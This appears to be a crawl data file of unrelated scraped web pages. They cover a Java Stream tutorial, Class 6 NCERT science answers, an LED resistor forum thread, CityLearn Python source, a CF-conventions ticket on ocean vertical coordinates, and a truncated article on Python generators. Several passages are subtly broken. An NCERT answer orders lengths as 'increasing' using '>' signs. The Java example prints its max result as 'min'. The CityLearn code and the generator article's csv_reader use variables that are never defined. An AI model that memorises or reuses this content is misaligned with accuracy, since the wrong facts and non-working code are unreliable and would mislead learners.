equation\n\nWhat does h2o2 decompose into? Hydrogen peroxide can easily break down, or decompose, into water and oxygen by breaking up into two very reactive parts – either 2OHs or an H and HO2: If there are no other molecules to react with, the parts will form water and oxygen gas as these are more stable […]" ]
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https://www.tutorialspoint.com/functional_programming_with_java/functional_programming_with_java_terminal_methods.htm
[ "# Functional Programming - Terminal Methods\n\nWhen a terminal method in invoked on a stream, iteration starts on stream and any other chained stream. Once the iteration is over then the result of terminal method is returned. A terminal method does not return a Stream thus once a terminal method is invoked over a stream then its chaining of non-terminal methods or intermediate methods stops/terminates.\n\nGenerally, terminal methods returns a single value and are invoked on each element of the stream. Following are some of the important terminal methods of Stream interface. Each terminal function takes a predicate function, initiates the iterations of elements, apply the predicate on each element.\n\n• anyMatch − If predicate returns true for any of the element, it returns true. If no element matches, false is returned.\n\n• allMatch − If predicate returns false for any of the element, it returns false. If all element matches, true is returned.\n\n• noneMatch − If no element matches, true is returned otherwise false is returned.\n\n• collect − each element is stored into the collection passed.\n\n• count − returns count of elements passed through intermediate methods.\n\n• findAny − returns Optional instance containing any element or empty instance is returned.\n\n• findFirst − returns first element under Optional instance. For empty stream, empty instance is returned.\n\n• forEach − apply the consumer function on each element. Used to print all elements of a stream.\n\n• min − returns the smallest element of the stream. Compares elements based on comparator predicate passed.\n\n• max − returns the largest element of the stream. Compares elements based on comparator predicate passed.\n\n• reduce − reduces all elements to a single element using the predicate passed.\n\n• toArray − returns arrays of elements of stream.\n\n## Example - Terminal Methods\n\n```import java.util.Arrays;\nimport java.util.List;\nimport java.util.stream.Collectors;\n\npublic class FunctionTester {\npublic static void main(String[] args) {\nList<String> stringList\n= Arrays.asList(\"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"One\");\n\nSystem.out.println(\"Example - anyMatch\\n\");\n//anyMatch - check if Two is present?\nSystem.out.println(\"Two is present: \"\n+ stringList\n.stream()\n.anyMatch(s -> {return s.contains(\"Two\");}));\n\nSystem.out.println(\"\\nExample - allMatch\\n\");\n//allMatch - check if length of each string is greater than 2.\nSystem.out.println(\"Length > 2: \"\n+ stringList\n.stream()\n.allMatch(s -> {return s.length() > 2;}));\n\nSystem.out.println(\"\\nExample - noneMatch\\n\");\n//noneMatch - check if length of each string is greater than 6.\nSystem.out.println(\"Length > 6: \"\n+ stringList\n.stream()\n.noneMatch(s -> {return s.length() > 6;}));\n\nSystem.out.println(\"\\nExample - collect\\n\");\nSystem.out.println(\"List: \"\n+ stringList\n.stream()\n.filter(s -> {return s.length() > 3;})\n.collect(Collectors.toList()));\n\nSystem.out.println(\"\\nExample - count\\n\");\nSystem.out.println(\"Count: \"\n+ stringList\n.stream()\n.filter(s -> {return s.length() > 3;})\n.count());\n\nSystem.out.println(\"\\nExample - findAny\\n\");\nSystem.out.println(\"findAny: \"\n+ stringList\n.stream()\n.findAny().get());\n\nSystem.out.println(\"\\nExample - findFirst\\n\");\nSystem.out.println(\"findFirst: \"\n+ stringList\n.stream()\n.findFirst().get());\n\nSystem.out.println(\"\\nExample - forEach\\n\");\nstringList\n.stream()\n.forEach(System.out::println);\n\nSystem.out.println(\"\\nExample - min\\n\");\nSystem.out.println(\"min: \"\n+ stringList\n.stream()\n.min((s1, s2) -> { return s1.compareTo(s2);}));\n\nSystem.out.println(\"\\nExample - max\\n\");\nSystem.out.println(\"min: \"\n+ stringList\n.stream()\n.max((s1, s2) -> { return s1.compareTo(s2);}));\n\nSystem.out.println(\"\\nExample - reduce\\n\");\nSystem.out.println(\"reduced: \"\n+ stringList\n.stream()\n.reduce((s1, s2) -> { return s1 + \", \"+ s2;})\n.get());\n}\n}\n```\n\n### Output\n\n```Example - anyMatch\n\nTwo is present: true\n\nExample - allMatch\n\nLength > 2: true\n\nExample - noneMatch\n\nLength > 6: true\n\nExample - collect\n\nList: [Three, Four, Five]\n\nExample - count\n\nCount: 3\n\nExample - findAny\n\nfindAny: One\n\nExample - findFirst\n\nfindFirst: One\n\nExample - forEach\n\nOne\nTwo\nThree\nFour\nFive\nOne\n\nExample - min\n\nmin: Optional[Five]\n\nExample - max\n\nmin: Optional[Two]\n\nExample - reduce\n\nreduced: One, Two, Three, Four, Five, One\n```" ]
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https://www.ncrtsolutions.com/2020/06/ncert-solutions-class-6-science-chapter-10.html
[ "# Class 6 Science Chapter 10 Motion and Measurements\n\nNCERT Solutions for Class 6 Science Chapter 10 Motion and Measurements.\n1. Give two examples each, of modes of transport used on land, water and air.\nModes of transport used on land - Buses and Trains.\nModes of transport used on water - Ships and Boats.\nModes of transport used on air - Helicopters and Aeroplanes.\n\n2. Fill in the blanks:\n(i) One metre is ______________ cm.\n(ii) Five kilometre is ______________ m.\n(iii)Motion of a child on a swing is ______________.\n(iv)Motion of the needle of a sewing machine is ______________.\n(v) Motion of wheel of a bicycle is______________.\n(i) One metre is 100 cm.\n(ii) Five kilometre is 5000 m.\n(iii)Motion of a child on a swing is periodic motion\n(iv)Motion of the needle of a sewing machine is periodic motion\n(v) Motion of wheel of a bicycle is circular motion\n\n3. Why can a pace or a footstep not be used as a standard unit of length?\nThe length of pace or a footstep varies from person to person. If the length of footstep will be used as standard unit for measurement of length then two measured quantity will not be same. Hence, footstep or pace is not a constant quantity and cannot be used as a standard unit of length.\n\n4. Arrange the following lengths in their increasing magnitude:\n1 metre, 1 centimetre, 1 kilometre,1 millimetre.\n1 millimetre > 1 centimetre > 1 metre > 1 kilometre\n\n5. The height of a person is 1.65 m. Express it into cm and mm.\n1.65 m = 1.65 × 100 cm = 165 cm\n1.65 m = 1.65 × 100 × 10 mm = 1650 mm\n\n6. The distance between Radha's home and her school is 3250 m. Express this distance into km.\n1km = 1000 m\n3250 m = 3250/1000 km = 3.25 km\n\n7. While measuring the length of a knitting needle, the reading of the scale at one end is 3.0 cm and at the other end is 33.1 cm. What is the length of the needle?\nThe actual count of the length of the needle start from 3.0 cm instead of 0 cm. Thus, the actual length of the needle is (33.1 - 3.0) cm = 30.1 cm\n\n8. Write the similarities and differences between the motion of a bicycle and a ceiling fan that has been switched on.\nSimilarities:\n(i) Both the ceiling fan and the wheels of a bicycle show circular motion.\n(ii) Both are fixed at point. Differences:\n(i) A bicycle shows rectlinear motion while a ceiling fan does not.\n\n9. Why could you not use an elastic measuring tape to measure distance? What would be some of the problems you would meet in telling someone about a distance you measured with an elastic tape?" ]
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https://forum.allaboutcircuits.com/threads/a-question-on-resistors.8212/
[ "# A question on resistors\n\n#### Roen Hayden\n\nJoined Sep 10, 2007\n22\nWhat is the formula for figuring out how much resistance some needs will give an example\n\nLet’s say one has a LED which is rated for 1.5 volts and it is powered by 9 volt battier but it blows every time how does one figure how much resistant is needed to keep the led from blowing.\n\n#### Pootworm\n\nJoined May 18, 2007\n29\nThis is assuming you're wiring your LED directly to the battery.\n\nIf an LED is rated for 1.5V, you should assume a 1.5V drop across it. You'll need a resistor in series to limit the amount of current you're pulling - let's call that R. The amount of voltage dropped across R is 9V-1.5V (from the LED), so 7.5V. Dividing 7.5V by the amount of current you want to send through your LED gives you the value of the series resistor R. I usually run 10mA through mine, so 7.5V/10mA = 750 ohms.\n\nSo, connecting a 750 ohm resistor in series with your LED to a 9v battery should light you up.\n\n#### thingmaker3\n\nJoined May 16, 2005\n5,084" ]
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https://www.citylearn.net/_modules/citylearn/data.html
[ "# Source code for citylearn.data\n\n```import os\nfrom pathlib import Path\nimport shutil\nfrom typing import Iterable, List, Union\nimport numpy as np\n\n[docs]class DataSet:\n\"\"\"CityLearn input data set and schema class.\"\"\"\n\n__ROOT_DIRECTORY = os.path.join(os.path.dirname(__file__),'data')\n\n[docs] @staticmethod\ndef get_names() -> List[str]:\n\"\"\"Returns list of internally stored CityLearn datasets that are `schema`\nnames and can be used to initialize `citylearn.citylearn.CityLearnEnv`.\n\nReturns\n-------\nnames: List[str]\nschema names\n\"\"\"\n\nreturn sorted([\nd for d in os.listdir(DataSet.__ROOT_DIRECTORY)\nif os.path.isdir(os.path.join(DataSet.__ROOT_DIRECTORY,d))\n])\n\n[docs] @staticmethod\ndef copy(name: str, destination_directory: Union[Path, str] = None):\n\"\"\"Copies an internally stored CityLearn dataset to a location of choice.\n\nParameters\n----------\ndestination_directory: Union[Path, str], optional\nTarget directory to copy data set files to. Copies to current directory if not specifed.\n\"\"\"\n\nsource_directory = os.path.join(DataSet.__ROOT_DIRECTORY,name)\ndestination_directory = '' if destination_directory is None else destination_directory\ndestination_directory = os.path.join(destination_directory,name)\nos.makedirs(destination_directory,exist_ok=True)\n\nfor f in os.listdir(source_directory):\nif f.endswith('.csv') or f.endswith('.json'):\nsource_filepath = os.path.join(source_directory,f)\ndestination_filepath = os.path.join(destination_directory,f)\nshutil.copy(source_filepath,destination_filepath)\nelse:\ncontinue\n\n[docs] @staticmethod\ndef get_schema(name: str) -> dict:\n\"\"\"Returns a data set's schema.\n\nParameters\n----------\nname: str\nName of data set.\n\nReturns\n-------\nschema: dict\nData set schema.\n\"\"\"\n\nroot_directory = os.path.join(DataSet.__ROOT_DIRECTORY,name)\nfilepath = os.path.join(root_directory,'schema.json')\nschema['root_directory'] = root_directory\n\nreturn schema\n\n[docs]class EnergySimulation:\n\"\"\"`Building` `energy_simulation` data class.\n\nParameters\n----------\nmonth : np.array\nMonth time series value ranging from 1 - 12.\nhour : np.array\nHour time series value ranging from 1 - 24.\nday_type : np.array\nNumeric day of week time series ranging from 1 - 8 where 1 - 7 is Monday - Sunday and 8 is reserved for special days e.g. holiday.\ndaylight_savings_status : np.array\nDaylight saving status time series signal of 0 or 1 indicating inactive or active daylight saving respectively.\nindoor_dry_bulb_temperature : np.array\nAverage building dry bulb temperature time series in [C].\naverage_unmet_cooling_setpoint_difference : np.array\nAverage difference between `indoor_dry_bulb_temperature` and cooling temperature setpoints time series in [C].\nindoor_relative_humidity : np.array\nAverage building relative humidity time series in [%].\nTotal building non-shiftable plug and equipment loads time series in [kWh].\ndhw_demand : np.array\nTotal building domestic hot water demand time series in [kWh].\ncooling_demand : np.array\nTotal building space cooling demand time series in [kWh].\nheating_demand : np.array\nTotal building space heating demand time series in [kWh].\nsolar_generation : np.array\nInverter output per 1 kW of PV system time series in [W/kW].\noccupant_count: np.array\nBuilding occupant count time series in [people].\nindoor_dry_bulb_temperature_set_point: np.array\nAverage building dry bulb temperature set point time series in [C].\nhvac_mode: np.array, default: 1\nHeat pump and auxilliary electric heating availability. If 0, both HVAC devices are unavailable (off), if 1,\nthe heat pump is available for space cooling and if 2, the heat pump and auxilliary electric heating are available\nfor space heating only. The default is to set the mode to cooling at all times. The HVAC devices are always available\nfor cooling and heating storage charging irrespective of the hvac mode.\n\"\"\"\n\ndef __init__(\nself, month: Iterable[int], hour: Iterable[int], day_type: Iterable[int],\ndaylight_savings_status: Iterable[int], indoor_dry_bulb_temperature: Iterable[float], average_unmet_cooling_setpoint_difference: Iterable[float], indoor_relative_humidity: Iterable[float],\nnon_shiftable_load: Iterable[float], dhw_demand: Iterable[float], cooling_demand: Iterable[float], heating_demand: Iterable[float], solar_generation: Iterable[float],\noccupant_count: Iterable[int] = None, indoor_dry_bulb_temperature_set_point: Iterable[int] = None, hvac_mode: Iterable[int] = None\n):\nself.month = np.array(month, dtype = int)\nself.hour = np.array(hour, dtype = int)\nself.day_type = np.array(day_type, dtype = int)\nself.daylight_savings_status = np.array(daylight_savings_status, dtype = int)\nself.indoor_dry_bulb_temperature = np.array(indoor_dry_bulb_temperature, dtype = float)\nself.average_unmet_cooling_setpoint_difference = np.array(average_unmet_cooling_setpoint_difference, dtype = float)\nself.indoor_relative_humidity = np.array(indoor_relative_humidity, dtype = float)\nself.dhw_demand = np.array(dhw_demand, dtype = float)\n\n# set space demands and check there is not cooling and heating demand at same time step\nself.cooling_demand = np.array(cooling_demand, dtype = float)\nself.heating_demand = np.array(heating_demand, dtype = float)\nassert (self.cooling_demand*self.heating_demand).sum() == 0, 'Cooling and heating in the same time step is not allowed.'\n\nself.solar_generation = np.array(solar_generation, dtype = float)\n\n# optional\nself.occupant_count = np.zeros(len(solar_generation), dtype=float) if occupant_count is None else np.array(occupant_count, dtype=float)\nself.indoor_dry_bulb_temperature_set_point = np.zeros(len(solar_generation), dtype=float) if indoor_dry_bulb_temperature_set_point is None else np.array(indoor_dry_bulb_temperature_set_point, dtype=float)\n\nif hvac_mode is None:\nself.hvac_mode = np.zeros(len(solar_generation), dtype=float)*1\n\nelse:\nunique = list(set(hvac_mode))\n\nfor i in range(3):\ntry:\nunique.remove(i)\nexcept ValueError:\npass\n\nassert len(unique) == 0, f'Invalid hvac_mode values were found: {unique}. Valid values are 0, 1 and 2 to indicate off, cooling mode and heating mode.'\nself.hvac_mode = np.array(hvac_mode, dtype=int)\n\n[docs]class Weather:\n\"\"\"`Building` `weather` data class.\n\nParameters\n----------\noutdoor_dry_bulb_temperature : np.array\nOutdoor dry bulb temperature time series in [C].\noutdoor_relative_humidity : np.array\nOutdoor relative humidity time series in [%].\nDiffuse solar irradiance time series in [W/m^2].\nDirect solar irradiance time series in [W/m^2].\noutdoor_dry_bulb_temperature_predicted_6h : np.array\nOutdoor dry bulb temperature 6 hours ahead prediction time series in [C].\noutdoor_dry_bulb_temperature_predicted_12h : np.array\nOutdoor dry bulb temperature 12 hours ahead prediction time series in [C].\noutdoor_dry_bulb_temperature_predicted_24h : np.array\nOutdoor dry bulb temperature 24 hours ahead prediction time series in [C].\noutdoor_relative_humidity_predicted_6h : np.array\nOutdoor relative humidity 6 hours ahead prediction time series in [%].\noutdoor_relative_humidity_predicted_12h : np.array\nOutdoor relative humidity 12 hours ahead prediction time series in [%].\noutdoor_relative_humidity_predicted_24h : np.array\nOutdoor relative humidity 24 hours ahead prediction time series in [%].\n\"\"\"\n\ndef __init__(\noutdoor_dry_bulb_temperature_predicted_6h: Iterable[float], outdoor_dry_bulb_temperature_predicted_12h: Iterable[float], outdoor_dry_bulb_temperature_predicted_24h: Iterable[float],\noutdoor_relative_humidity_predicted_6h: Iterable[float], outdoor_relative_humidity_predicted_12h: Iterable[float], outdoor_relative_humidity_predicted_24h: Iterable[float],\n):\nself.outdoor_dry_bulb_temperature = np.array(outdoor_dry_bulb_temperature, dtype = float)\nself.outdoor_relative_humidity = np.array(outdoor_relative_humidity, dtype = float)\nself.outdoor_dry_bulb_temperature_predicted_6h = np.array(outdoor_dry_bulb_temperature_predicted_6h, dtype = float)\nself.outdoor_dry_bulb_temperature_predicted_12h = np.array(outdoor_dry_bulb_temperature_predicted_12h, dtype = float)\nself.outdoor_dry_bulb_temperature_predicted_24h = np.array(outdoor_dry_bulb_temperature_predicted_24h, dtype = float)\nself.outdoor_relative_humidity_predicted_6h = np.array(outdoor_relative_humidity_predicted_6h, dtype = float)\nself.outdoor_relative_humidity_predicted_12h = np.array(outdoor_relative_humidity_predicted_12h, dtype = float)\nself.outdoor_relative_humidity_predicted_24h = np.array(outdoor_relative_humidity_predicted_24h, dtype = float)\n\n[docs]class Pricing:\n\"\"\"`Building` `pricing` data class.\n\nParameters\n----------\nelectricity_pricing : np.array\nElectricity pricing time series in [\\$].\nelectricity_pricing_predicted_6h : np.array\nElectricity pricing 6 hours ahead prediction time series in [\\$].\nelectricity_pricing_predicted_12h : np.array\nElectricity pricing 12 hours ahead prediction time series in [\\$].\nelectricity_pricing_predicted_24h : np.array\nElectricity pricing 24 hours ahead prediction time series in [\\$].\n\"\"\"\n\ndef __init__(\nself, electricity_pricing: Iterable[float], electricity_pricing_predicted_6h: Iterable[float],\nelectricity_pricing_predicted_12h: Iterable[float], electricity_pricing_predicted_24h: Iterable[float]\n):\nself.electricity_pricing = np.array(electricity_pricing, dtype = float)\nself.electricity_pricing_predicted_6h = np.array(electricity_pricing_predicted_6h, dtype = float)\nself.electricity_pricing_predicted_12h = np.array(electricity_pricing_predicted_12h, dtype = float)\nself.electricity_pricing_predicted_24h = np.array(electricity_pricing_predicted_24h, dtype = float)\n\n[docs]class CarbonIntensity:\n\"\"\"`Building` `carbon_intensity` data class.\n\nParameters\n----------\ncarbon_intensity : np.array\nGrid carbon emission rate time series in [kg_co2/kWh].\n\"\"\"\n\ndef __init__(self, carbon_intensity: Iterable[float]):\nself.carbon_intensity = np.array(carbon_intensity, dtype = float)\n```" ]
[ null ]
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http://cfconventions.org/Data/Trac-tickets/93.html
[ "Opened 9 years ago\n\nClosed 5 years ago\n\n# Two new dimensionless vertical coordinate specifications for s coordinate ocean models\n\nReported by: Owned by: rsignell cf-conventions@… low cf-conventions\n\n## 1. Title\n\nTwo new dimensionless vertical coordinates to support ocean models\n\nRich Signell\n\n## 3. Requirement\n\nThe ocean modeling community needs two additional vertical coordinate specifications to allow modern s-coordinate model output to be CF-compliant and allow more general specification of s-coordinate model output for future development.\n\n## 4. Initial Statement of Technical Proposal\n\nThe existing ocean_s_coordinate dimensionless vertical coordinate specification in CF is limited to a specific vertical stretching function and set of control parameters, while modern versions of ROMS allow for more flexible specification. Additional of these two new generalized vertical coordinate specifications would allow output from existing ROMS-derived models (and other s coordinate models) to be CF-compliant, as well as allowing more flexibility for future s_coordinate model developers and users to write and read CF-compliant model output.\n\nHere are the proposed additions to Appendix D. Dimensionless Vertical Coordinates\n\nOcean s-coordinate, generic form 1\n\n``` standard_name = \"ocean_s_coordinate_g1\"\n```\n\nDefinition:\n\n``` z(n,k,j,i) = S(k,j,i) + eta(n,j,i) * (1 + S(k,j,i) / depth(j,i))\n\nwhere S(k,j,i) = depth_c * s(k) + (depth(j,i) - depth_c) * C(k)\n```\n\nand where z(n,k,j,i) is the height, positive upwards, relative to ocean datum (e.g. mean sea level) at gridpoint (n,k,j,i); eta(n,j,i) is the height of the ocean surface, positive upwards, relative to ocean datum at gridpoint (n,j,i); s(k) is the dimensionless coordinate at vertical gridpoint (k) with a range of -1 <= s(k) <= 0, s(0) corresponds to eta(n,j,i) whereas s(-1) corresponds to depth(j,i); C(k) is the dimensionless vertical coordinate stretching function at gridpoint (k) with a range of -1 <= C(k) <= 0, C(0) corresponds to eta(n,j,i) whereas C(-1) corresponds to depth(j,i); and the constant depth_c, (positive value), is a critical depth controlling the stretching.\n\nThe format for the formula_terms attribute is\n\n```formula_terms = \"s: var1 C: var2 eta: var3 depth: var4 depth_c: var5\"\n```\n\nOcean s-coordinate, generic form 2\n\n``` standard_name = \"ocean_s_coordinate_g2\"\n```\n\nDefinition:\n\n``` z(n,k,j,i) = eta(n,j,i) + (eta(n,j,i) + depth(j,i)) * S(k,j,i)\n\nwhere S(k,j,i) = (depth_c * s(k) + depth(j,i) * C(k)) / (depth_c + depth(j,i))\n```\n\nand where z(n,k,j,i) is the height, positive upwards, relative to ocean datum (e.g. mean sea level) at gridpoint (n,k,j,i); eta(n,j,i) is the height of the ocean surface, positive upwards, relative to ocean datum at gridpoint (n,j,i); s(k) is the dimensionless coordinate at vertical gridpoint (k) with a range of -1 <= s(k) <= 0, s(0) corresponds to eta(n,j,i) whereas s(-1) corresponds to depth(j,i); C(k) is the dimensionless vertical coordinate stretching function at gridpoint (k) with a range of -1 <= C(k) <= 0, C(0) corresponds to eta(n,j,i) whereas C(-1) correspond to depth(j,i); and the constant depth_c, (positive value) is a critical depth controlling the stretching.\n\nThe format for the formula_terms attribute is\n\n```formula_terms = \"s: var1 C: var2 eta: var3 depth: var4 depth_c: var5\"\n```\n\n## 5. Benefits\n\nThe oceanographic community, especially those producing or consuming products from s coordinate models (e.g. variants and derivatives of the Regional Ocean Modeling System (ROMS)) would benefit from the addition of these two new dimensionless vertical coordinate specifications. These two new coordinates have been exercised in the Unidata Common Data Model and the Unidata NetCDF-Java Library for the last two years. It's time to add them officially to the CF Conventions.\n\n## 6. Status Quo\n\nThe only option currently to store modern ROMS results as CF compliant would be to write the entire Z field as a 4D array.\n\n### comment:1 Changed 9 years ago by rsignell\n\nSummary: There have been no comments on this proposal since I posted it one month ago, so there don't appear to be any issues.\n\nThe next step according to: http://cf-pcmdi.llnl.gov/governance/governance-rules is to provide an example dataset and wait 3 more weeks. So here is an example dataset, and with links to visualization in the IDV (to prove that this specification is already working correctly in Unidata's NetCDF-Java and in the Unidata Integrated Data Viewer:\n\nExample dataset: May be obtained via OPeNDAP or HTTPServer server download at this location: http://geoport.whoi.edu/thredds/catalog/examples/catalog.html?dataset=examples/coawst_g1.nc (e.g. wget http://geoport.whoi.edu/thredds/fileServer/examples/coawst_g1.nc)\n\nExample 3D view of the temperature field from dataset above in Unidata's Integrated Data Viewer (http://www.unidata.ucar.edu/software/idv/), showing that the new vertical coordinate specification is being correctly represented: https://docs.google.com/open?id=0BzAHlPEEP_ujUE5zcG03VkVLY1k\n\n• Rich Signell\n\n### comment:2 Changed 9 years ago by jonathan\n\nDear Rich\n\nThanks for this proposal. It needs a moderator, and according to the rules it needs at least three people in favour of it. I'm happy to support it in principle, and it would be good to hear from others in support.\n\nI have some comments, though. Apologies for being slow: I was on holiday. I don't follow the description of the formulae. By \"s(0)\" do you mean \"s=0\", and similarly for other conditions? It appears that s and C must be linked in some way; you get eta, for instance, by imposing conditions on both s and C. Would it be better, therefore, to state them as simultaneous conditions, rather than describing the conditions for s and C separately? Having said that, it have to admit that I may have misunderstood it completely. If s=0 and C=0 in the first case, for example, then S=0 and z=eta/depth, not eta. What have I done wrong? Or perhaps that is what is supposed to happen? If so, maybe you could start by saying that the resulting coordinate is a fraction of the local depth.\n\nThanks\n\nJonathan\n\n### comment:3 Changed 9 years ago by rsignell\n\nJonathan, Yes, s(0) means \"at s = 0\", and s(-1) means \"at s = -1\". Both \"s\" and \"C\" are functions that have a valid_range [-1,0]. \"s\" has uniform spacing with values determined by the number of layers and the position of the variable within the layer. For example, if the model has 5 layers, the \"w\" vertical velocity component (and other variables located at the interfaces between the layers) will have a vertical coordinate \"s\" variable with values [-1.0 -0.8 -0.6 -0.4 -0.2 -0.0]. The \"u\" and \"v\" horizontal velocity components (and other variables located in the middle of the layers) will have a different \"s\" variable with values [-0.9 -0.7 -0.5 -0.3 -0.1]. The \"C\" function, meanwhile, is free to be any monotonic function with values in the range [-1.0 0], and is used to control the stretching (more resolution near the surface, near the bottom, etc). I have made a plot of these functions for the test file I provided at: http://www.screencast.com/t/2nodlugvo\n\nBased on this information, can you suggest language for the CF conventions doc that would make this more clear to you (and others)?\n\n-Rich\n\n### comment:4 Changed 9 years ago by rsignell\n\nJonathan, You mentioned that I needed a moderator for this ticket. I have been playing the role of moderator for this ticket because it seems like the natural thing to do, and don't want to bug others to do a job that I feel I should be doing myself.\n\nReading the rules again at: http://cf-pcmdi.llnl.gov/governance/governance-rules it doesn't seem to explicitly exclude the proposer from being the moderator as well. The important thing, it would seem is to reconcile the differences of opinion enough to get at least three folks to support for it, including at least two members of the conventions committee. Do you (or others) see this the same way, or do you feel it's important that the proposer be barred from the moderator role?\n\n### comment:5 Changed 9 years ago by russ\n\nI support the proposal. If an alternate moderator is needed, I also volunteer to serve in that role.\n\n### comment:6 Changed 9 years ago by jonathan\n\nDear Rich\n\nThanks for your explanations. To avoid my initial misunderstandings, I would say:\n\nwhere z(n,k,j,i) is the height, positive upwards, relative to ocean datum (e.g. mean sea level) at gridpoint (n,k,j,i); eta(n,j,i) is the height of the ocean surface, positive upwards, relative to ocean datum at gridpoint (n,j,i); depth(j,i) is the distance from ocean datum to sea floor (positive value) at gridpoint (j,i); s(k) is the dimensionless coordinate at vertical gridpoint (k); C(k) is the dimensionless vertical coordinate stretching function at gridpoint (k); and the constant depth_c, (positive value), is a critical depth controlling the stretching. s(k) and C(k) are both monotonic functions of k in the range -1 to 0; both s and C equal -1 at the sea floor, where z=depth, and both equal 0 at the sea surface, where z=eta. At intermediate depths their values are unrelated.\n\nIt's the same words in both cases, isn't it, but different formulae. The above isn't very different from what you said, and I hope it's correct.\n\nThis proposal also implies that two new standard_names are needed (for the two new types of s coordinate). I suggest it would be helpful to propose those to the email list, as otherwise they might not get picked up.\n\nI note that the datum is not defined, and the same formulae might be applied to eta and depth wrt geoid or wrt mean sea level, for example. I suppose that is OK. The standard_names of the components would distinguish the datum, but it would depend on software that computed the dimensional coordinate using it in a way which was consistent with the datum.\n\nRegarding moderators, that's probably a subject for a different ticket. You are right, the rules don't say that the proposer can't be the moderator, but I've always assumed it, as it seems good practice to me. It can be hard to be completely objective about one's own proposal. That is absolutely not a comment on your conduct of this ticket!\n\nBest wishes\n\nJonathan\n\n### comment:7 Changed 9 years ago by rsignell\n\nJonathan, As per your suggestion, I'll submit these vertical coordinate standard names \"ocean_s_coordinate_g1\" and \"ocean_s_coordinate_g2\" to the standard_name list. And your suggestioned rewording of the description is fine with me. So here is my modified proposal with rewording:\n\nProposed additions to: Appendix D. Dimensionless Vertical Coordinates\n\nOcean s-coordinate, generic form 1\n\n``` standard_name = \"ocean_s_coordinate_g1\"\n```\n\nDefinition:\n\n``` z(n,k,j,i) = S(k,j,i) + eta(n,j,i) * (1 + S(k,j,i) / depth(j,i))\n\nwhere S(k,j,i) = depth_c * s(k) + (depth(j,i) - depth_c) * C(k)\n```\n\nand where z(n,k,j,i) is the height, positive upwards, relative to ocean datum (e.g. mean sea level) at gridpoint (n,k,j,i); eta(n,j,i) is the height of the ocean surface, positive upwards, relative to ocean datum at gridpoint (n,j,i); depth(j,i) is the distance from ocean datum to sea floor (positive value) at gridpoint (j,i); s(k) is the dimensionless coordinate at vertical gridpoint (k); C(k) is the dimensionless vertical coordinate stretching function at gridpoint (k); and the constant depth_c, (positive value), is a critical depth controlling the stretching. s(k) and C(k) are both monotonic functions of k in the range -1 to 0; both s and C equal -1 at the sea floor, where z=depth, and both equal 0 at the sea surface, where z=eta. At intermediate depths their values are unrelated.\n\nThe format for the formula_terms attribute is\n\n```formula_terms = \"s: var1 C: var2 eta: var3 depth: var4 depth_c: var5\"\n```\n\nOcean s-coordinate, generic form 2\n\n``` standard_name = \"ocean_s_coordinate_g2\"\n```\n\nDefinition:\n\n``` z(n,k,j,i) = eta(n,j,i) + (eta(n,j,i) + depth(j,i)) * S(k,j,i)\n\nwhere S(k,j,i) = (depth_c * s(k) + depth(j,i) * C(k)) / (depth_c + depth(j,i))\n```\n\nand where z(n,k,j,i) is the height, positive upwards, relative to ocean datum (e.g. mean sea level) at gridpoint (n,k,j,i); eta(n,j,i) is the height of the ocean surface, positive upwards, relative to ocean datum at gridpoint (n,j,i); depth(j,i) is the distance from ocean datum to sea floor (positive value) at gridpoint (j,i); s(k) is the dimensionless coordinate at vertical gridpoint (k); C(k) is the dimensionless vertical coordinate stretching function at gridpoint (k); and the constant depth_c, (positive value), is a critical depth controlling the stretching. s(k) and C(k) are both monotonic functions of k in the range -1 to 0; both s and C equal -1 at the sea floor, where z=depth, and both equal 0 at the sea surface, where z=eta. At intermediate depths their values are unrelated.\n\nThe format for the formula_terms attribute is\n\n```formula_terms = \"s: var1 C: var2 eta: var3 depth: var4 depth_c: var5\"\n```\n\n### comment:8 Changed 8 years ago by jonathan\n\nSince Rich, Russ and I support this and no-one has commented for more than three weeks, I think we can conclude that this proposal is accepted (regardless of who is the moderator!). It should therefore be included in the next version of CF. Rich is already named as an author of CF. Thanks, Rich.\n\nJonathan\n\n### comment:9 Changed 5 years ago by markh\n\n• Resolution set to fixed\n• Status changed from new to closed\nNote: See TracTickets for help on using tickets." ]
[ null ]
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https://livecodestream.dev/post/how-to-use-generator-and-yield-in-python/
[ "# How to Use Generator and Yield in Python", null, "Today we are going to talk about generators in Python, how are they different from normal functions, and why you should use them.\n\n## What Are Generators in Python?\n\nHave you ever run into a situation where you would need to read large datasets or files, and those were too overwhelming to load into memory? Or maybe you wanted to build an iterator, but the producer function was so simple that most of your code is just around building the iterator other than producing the desired values? These are some of the scenarios where generator can be really useful and simple.\n\nIntroduced with PEP 255, generator functions are a special kind of function that returns some sort of lazy iterator. There are objects that you can loop over like a list, however, unlike lists, lazy iterators do not store their contents in memory. One of the advantages of generator functions to iterators is the amount of code that is required to code.\n\nAfter that introduction, let’s see some examples of generators in action:\n\n## Some Use Cases of Generators\n\nA common use case of generators is to work with large files or data streams, like for example, CSV files. Let’s say we need to count how many rows there are on a text file, our code could look something like:\n\n``````csv_gen = csv_reader(\"some_file.txt\")\nrow_count = 0\n\nfor row in csv_gen:\nrow_count += 1\n\nprint(f\"Row count is {row_count}\")\n``````\n\nwith our `csv_reader` function implemented in the following way:\n\n``````def csv_reader(file_name):\nfile = open(file_name)\nreturn result\n``````\n\nThat’s now very clear and simple. Our `csv_reader` function will simply open the file into memory and read all the lines, then it will split the lines and form an array with the file data, so our code above would work perfectly, or so we think.\n\nIf the file contains a few thousand lines, this code will probably work in any modern computer, however, if the file is large enough we will start having some issue. These issues can go from the machine starting to slow down, to the program killing the machine to the point that we need to terminate the program, to the ultimate:\n\n``````Traceback (most recent call last):\nFile \"ex1_naive.py\", line 22, in <module>\nmain()\nFile \"ex1_naive.py\", line 13, in main\nFile \"ex1_naive.py\", line 6, in csv_reader\nMemoryError\n``````\n\nWe crashed the program. The file was too big and couldn’t be loaded into memory, provoking python to raise an exception and crash.\n\nSo how can we fix it? well… we know that with generators we have a way to build simple iterators, so that should help, let’s now take a look at the `csv_reader` function built using a generator.\n\n``````def csv_reader(file_name):\nfor row in open(file_name, \"r\"):\nyield row\n``````\n\nStill very simple, it looks even more elegant than before, but what is that `yield` keyword over there?\n\nThe `yield` keyword is what makes this function a generator instead of a normal function. In difference to a `return`, `yield` will pause the function by saving all its states and will later continue from that point on successive calls. In both cases, the expression will be returned to the callers execution.\n\nWhen a function contains `yield`, Python will automatically (and behind the scenes) implement an iterator applying all the required methods like `__iter__()` and `__next__()` for us, so we don’t need to worry about any of it.\n\nGoing back to our example, if we now decide to execute our code, we would get something as follows:\n\n``````Row count is 65123455\n``````\n\nDepending on your file would be a different number, but what’s important is that it works! We would be lazy loading the file, so we would minimize our memory load, and 